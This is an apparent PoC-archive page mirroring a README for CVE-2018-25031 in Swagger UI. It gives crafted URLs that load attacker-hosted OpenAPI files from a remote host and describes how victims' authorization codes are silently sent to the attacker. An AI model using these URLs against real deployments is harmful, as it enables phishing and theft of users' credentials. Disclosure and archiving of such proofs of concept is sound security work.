Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-25031 PoC — Swagger UI 输入验证错误漏洞

Source
Associated Vulnerability
Title:Swagger UI 输入验证错误漏洞 (CVE-2018-25031)
Description:Swagger UI是一款支持可视化API资源并能够与之进行交互的开源工具。 Swagger-api Swagger UI 4.1.3之前版本中存在安全漏洞,该漏洞源于软件缺少对于用户提交的URL数据过滤和转义。攻击者可以通过特制的URL数据利用该漏洞进行欺骗攻击并显示远程OpenAPI定义。
Description
A simple POC (CVE-2018-25031
Readme
# CVE-2018-25031 - Swagger UI before 4.1.3
A simple POC (CVE-2018-25031) that tricks the victim into entering the authorization code, which is then sent to the attacker.<br>
You can use it with the XSS Vulnerability https://github.com/VictorNS69/swagger-ui-xss

It is necessary to find the parameter and assign the correct file: for <b>configUrl</b>, the JSON file, and for <b>url</b>, the YAML file.

## Example:
```
https://<URL>/?configUrl=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.json
https://<URL>/?url=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.yaml
```
## Screenshot:

<div style="display: inline_block">
  <img align="center" src="https://github.com/geozin/POC-CVE-2018-25031/blob/main/POC-CVE-2018-25031.png?raw=true"> 
</div>
<br>
When the victim tries to use the API by entering the Authorization Code and clicks <b>Execute</b>, nothing will be displayed to them. However, a request with Authorization Code will be sent to the attacker's URL.


## Ref:
https://nvd.nist.gov/vuln/detail/CVE-2018-25031 <br>
https://github.com/mathis2001/CVE-2018-25031


File Snapshot

[4.0K] /data/pocs/1acb68871d26cca5bc9011a29fa480ef16700709 ├── [ 261] doc.json ├── [ 769] doc.yaml ├── [ 31K] POC-CVE-2018-25031.png └── [1.1K] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.